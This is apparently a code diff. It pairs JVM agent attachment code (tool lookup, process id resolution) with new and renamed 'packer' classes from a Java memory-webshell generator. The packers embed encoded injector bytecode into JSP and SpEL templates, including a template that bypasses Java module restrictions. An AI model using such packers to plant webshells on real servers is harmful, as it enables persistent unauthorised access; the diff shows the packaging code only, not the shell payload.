* Creates a new simple accessor that allows for external attachment.
*
* @param virtualMachineType The {@code com.sun.tools.attach.VirtualMachine} class.
* @param classPath The class path required for loading the virtual machine type.
*/
public WithExternalAttachment(Class<?> virtualMachineType, List<File> classPath) {
super(virtualMachineType);
this.classPath = classPath;
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
return true;
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
return new ExternalAttachment(virtualMachineType.getName(), classPath);
}
}
/**
* A simple implementation of an accessible accessor that attaches using a virtual machine emulation that does not require external attachment.
*/
protected static class WithDirectAttachment extends Simple {
/**
* Creates a new simple accessor that implements direct attachment.
*
* @param virtualMachineType A {@code VirtualMachine} class.
*/
public WithDirectAttachment(Class<?> virtualMachineType) {
super(virtualMachineType);
}
/**
* {@inheritDoc}
*/
public boolean isExternalAttachmentRequired() {
return false;
}
/**
* {@inheritDoc}
*/
public ExternalAttachment getExternalAttachment() {
throw new IllegalStateException("Cannot apply external attachment");
}
}
}
}
/**
* An attachment provider that locates the attach API directly from the system class loader, as possible since
* introducing the Java module system via the {@code jdk.attach} module.
*/
enum ForModularizedVm implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
return Accessor.Simple.of(ClassLoader.getSystemClassLoader());
}
}
/**
* An attachment provider that locates the attach API directly from the system class loader expecting
* an IBM J9 VM.
*/
enum ForJ9Vm implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
return Accessor.Simple.ofJ9();
}
}
/**
* An attachment provider that is dependant on the existence of a <i>tools.jar</i> file on the local
* file system.
*/
enum ForStandardToolsJarVm implements AttachmentProvider {
/**
* An attachment provider that locates the <i>tools.jar</i> from a Java home directory.
*/
JVM_ROOT("../lib/tools.jar"),
/**
* An attachment provider that locates the <i>tools.jar</i> from a Java installation directory.
* In practice, several virtual machines do not return the JRE's location for the
* <i>java.home</i> property against the property's specification.
*/
JDK_ROOT("lib/tools.jar"),
/**
* An attachment provider that locates the <i>tools.jar</i> as it is set for several JVM
* installations on Apple Macintosh computers.
*/
MACINTOSH("../Classes/classes.jar");
/**
* The Java home system property.
*/
private static final String JAVA_HOME_PROPERTY = "java.home";
/**
* The path to the <i>tools.jar</i> file, starting from the Java home directory.
*/
private final String toolsJarPath;
/**
* Creates a new attachment provider that loads the virtual machine class from the <i>tools.jar</i>.
*
* @param toolsJarPath The path to the <i>tools.jar</i> file, starting from the Java home directory.
*/
ForStandardToolsJarVm(String toolsJarPath) {
this.toolsJarPath = toolsJarPath;
}
/**
* {@inheritDoc}
*/
public Accessor attempt() {
File toolsJar = new File(System.getProperty(JAVA_HOME_PROPERTY), toolsJarPath);
try {
return toolsJar.isFile() && toolsJar.canRead()
? Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar)
: Accessor.Unavailable.INSTANCE;
} catch (MalformedURLException exception) {
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
}
}
}
/**
* An attachment provider that attempts to locate a {@code tools.jar} from a custom location set via a system property.
*/
enum ForUserDefinedToolsJar implements AttachmentProvider {
/**
* The singelton instance.
*/
INSTANCE;
/**
* The property being read for locating {@code tools.jar}.
*/
public static final String PROPERTY = "net.bytebuddy.agent.toolsjar";
/**
* {@inheritDoc}
*/
public Accessor attempt() {
String location = System.getProperty(PROPERTY);
if (location == null) {
return Accessor.Unavailable.INSTANCE;
} else {
File toolsJar = new File(location);
try {
return Accessor.Simple.of(new URLClassLoader(new URL[]{toolsJar.toURI().toURL()}, BOOTSTRAP_CLASS_LOADER), toolsJar);
} catch (MalformedURLException exception) {
throw new IllegalStateException("Could not represent " + toolsJar + " as URL");
}
}
}
}
/**
* An attachment provider that uses Byte Buddy's attachment API emulation. To use this feature, JNA is required.
*/
enum ForEmulatedAttachment implements AttachmentProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public Accessor attempt() {
try {
return new Accessor.Simple.WithDirectAttachment(VirtualMachine.Resolver.INSTANCE.get());
} catch (Throwable ignored) {
return Accessor.Unavailable.INSTANCE;
}
}
}
/**
* A compound attachment provider that attempts the attachment by delegation to other providers. If
* none of the providers of this compound provider is capable of providing a valid accessor, an
* non-available accessor is returned.
*/
class Compound implements AttachmentProvider {
/**
* A list of attachment providers in the order of their application.
*/
private final List<AttachmentProvider> attachmentProviders;
/**
* Creates a new compound attachment provider.
*
* @param attachmentProvider A list of attachment providers in the order of their application.
*/
public Compound(AttachmentProvider... attachmentProvider) {
this(Arrays.asList(attachmentProvider));
}
/**
* Creates a new compound attachment provider.
*
* @param attachmentProviders A list of attachment providers in the order of their application.
*/
public Compound(List<? extends AttachmentProvider> attachmentProviders) {
this.attachmentProviders = new ArrayList<AttachmentProvider>();
for (AttachmentProvider attachmentProvider : attachmentProviders) {
if (attachmentProvider instanceof Compound) {
this.attachmentProviders.addAll(((Compound) attachmentProvider).attachmentProviders);
} else {
this.attachmentProviders.add(attachmentProvider);
}
}
}
/**
* {@inheritDoc}
*/
public Accessor attempt() {
for (AttachmentProvider attachmentProvider : attachmentProviders) {
Accessor accessor = attachmentProvider.attempt();
if (accessor.isAvailable()) {
return accessor;
}
}
return Accessor.Unavailable.INSTANCE;
}
}
}
/**
* A process provider is responsible for providing the process id of the current VM.
*/
public interface ProcessProvider {
/**
* Resolves a process id for the current JVM.
*
* @return The resolved process id.
*/
String resolve();
/**
* Supplies the current VM's process id.
*/
enum ForCurrentVm implements ProcessProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* The best process provider for the current VM.
*/
private final ProcessProvider dispatcher;
/**
* Creates a process provider that supplies the current VM's process id.
*/
ForCurrentVm() {
dispatcher = ForJava9CapableVm.make();
}
/**
* {@inheritDoc}
*/
public String resolve() {
return dispatcher.resolve();
}
/**
* A process provider for a legacy VM that reads the process id from its JMX properties. This strategy
* is only used prior to Java 9 such that the <i>java.management</i> module never is resolved, even if
* the module system is used, as the module system was not available in any relevant JVM version.
*/
protected enum ForLegacyVm implements ProcessProvider {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public String resolve() {
String runtimeName;
try {
Method method = Class.forName("java.lang.management.ManagementFactory").getMethod("getRuntimeMXBean");
runtimeName = (String) method.getReturnType().getMethod("getName").invoke(method.invoke(null));
} catch (Exception exception) {
throw new IllegalStateException("Failed to access VM name via management factory", exception);
}
int processIdIndex = runtimeName.indexOf('@');
if (processIdIndex == -1) {
throw new IllegalStateException("Cannot extract process id from runtime management bean");
} else {
return runtimeName.substring(0, processIdIndex);
}
}
}
/**
* A process provider for a Java 9 capable VM with access to the introduced process API.
*/
protected static class ForJava9CapableVm implements ProcessProvider {
/**
* The {@code java.lang.ProcessHandle#current()} method.
*/
private final Method current;
/**
* The {@code java.lang.ProcessHandle#pid()} method.
*/
private final Method pid;
/**
* Creates a new Java 9 capable dispatcher for reading the current process's id.
*
* @param current The {@code java.lang.ProcessHandle#current()} method.
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
*/
protected ForJava9CapableVm(Method current, Method pid) {
this.current = current;
this.pid = pid;
}
/**
* Attempts to create a dispatcher for a Java 9 VM and falls back to a legacy dispatcher
* if this is not possible.
*
* @return A dispatcher for the current VM.
*/
public static ProcessProvider make() {
try {
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
} catch (Exception ignored) {
return ForLegacyVm.INSTANCE;
}
}
/**
* {@inheritDoc}
*/
public String resolve() {
try {
return pid.invoke(current.invoke(null)).toString();
} catch (IllegalAccessException exception) {
throw new IllegalStateException("Cannot access Java 9 process API", exception);
} catch (InvocationTargetException exception) {
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
}
}
}
}
}
/**
* An agent provider is responsible for handling and providing the jar file of an agent that is being attached.
*/
protected interface AgentProvider {
/**
* Provides an agent jar file for attachment.
*
* @return The provided agent.
* @throws IOException If the agent cannot be written to disk.
*/
File resolve() throws IOException;
/**
* An agent provider that supplies an existing agent that is not deleted after attachment.
*/
class ForExistingAgent implements AgentProvider {
/**
* The supplied agent.
*/
private final File agent;
/**
* Creates an agent provider for an existing agent.
*
* @param agent The supplied agent.
*/
protected ForExistingAgent(File agent) {
this.agent = agent;
}
/**
* {@inheritDoc}
*/
public File resolve() {
return agent;
}
}
}
/**
* An attachment evaluator is responsible for deciding if an agent can be attached from the current process.
*/
protected interface AttachmentTypeEvaluator {
/**
* Checks if the current VM requires external attachment for the supplied process id.
*
* @param processId The process id of the process to which to attach.
* @return {@code true} if the current VM requires external attachment for the supplied process.
*/
boolean requiresExternalAttachment(String processId);
/**
* An installation action for creating an attachment type evaluator.
*/
enum InstallationAction implements PrivilegedAction<AttachmentTypeEvaluator> {
/**
* The singleton instance.
*/
INSTANCE;
/**
* The OpenJDK's property for specifying the legality of self-attachment.
*/
private static final String JDK_ALLOW_SELF_ATTACH = "jdk.attach.allowAttachSelf";
/**
* {@inheritDoc}
*/
public AttachmentTypeEvaluator run() {
try {
if (Boolean.getBoolean(JDK_ALLOW_SELF_ATTACH)) {
return Disabled.INSTANCE;
} else {
return new ForJava9CapableVm(Class.forName("java.lang.ProcessHandle").getMethod("current"),
Class.forName("java.lang.ProcessHandle").getMethod("pid"));
}
} catch (Exception ignored) {
return Disabled.INSTANCE;
}
}
}
/**
* An attachment type evaluator that never requires external attachment.
*/
enum Disabled implements AttachmentTypeEvaluator {
/**
* The singleton instance.
*/
INSTANCE;
/**
* {@inheritDoc}
*/
public boolean requiresExternalAttachment(String processId) {
return false;
}
}
/**
* An attachment type evaluator that checks a process id against the current process id.
*/
class ForJava9CapableVm implements AttachmentTypeEvaluator {
/**
* The {@code java.lang.ProcessHandle#current()} method.
*/
private final Method current;
/**
* The {@code java.lang.ProcessHandle#pid()} method.
*/
private final Method pid;
/**
* Creates a new attachment type evaluator.
*
* @param current The {@code java.lang.ProcessHandle#current()} method.
* @param pid The {@code java.lang.ProcessHandle#pid()} method.
*/
protected ForJava9CapableVm(Method current, Method pid) {
this.current = current;
this.pid = pid;
}
/**
* {@inheritDoc}
*/
public boolean requiresExternalAttachment(String processId) {
try {
return pid.invoke(current.invoke(null)).toString().equals(processId);
} catch (IllegalAccessException exception) {
throw new IllegalStateException("Cannot access Java 9 process API", exception);
} catch (InvocationTargetException exception) {
throw new IllegalStateException("Error when accessing Java 9 process API", exception.getTargetException());
}
}
}
}
}
@@ -12,11 +12,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/11/26
*/
public class DefalutJspPacker implements Packer {
public class ClassLoaderJspPacker implements Packer {
String jspTemplate = null;
public DefalutJspPacker() {
public ClassLoaderJspPacker() {
try {
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
@@ -0,0 +1,41 @@
package com.reajason.javaweb.memshell.packer.jsp;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class DefineClassJspPacker implements Packer {
String template = null;
String bypassTemplate = null;
public DefineClassJspPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell1.jsp")), Charset.defaultCharset());
bypassTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell2.jsp")), Charset.defaultCharset());
} catch (Exception ignored) {
}
}
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String template = this.template;
if (generateResult.getShellConfig().needByPassJavaModule()) {
template = bypassTemplate;
}
return template.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -4,7 +4,10 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
/**
* @author ReaJason
@@ -17,6 +20,6 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
@SneakyThrows
public String pack(GenerateResult generateResult) {
return template.replace("{{className}}", generateResult.getInjectorClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(generateResult.getInjectorBytes())));
}
}

Some files were not shown because too many files have changed in this diff Show More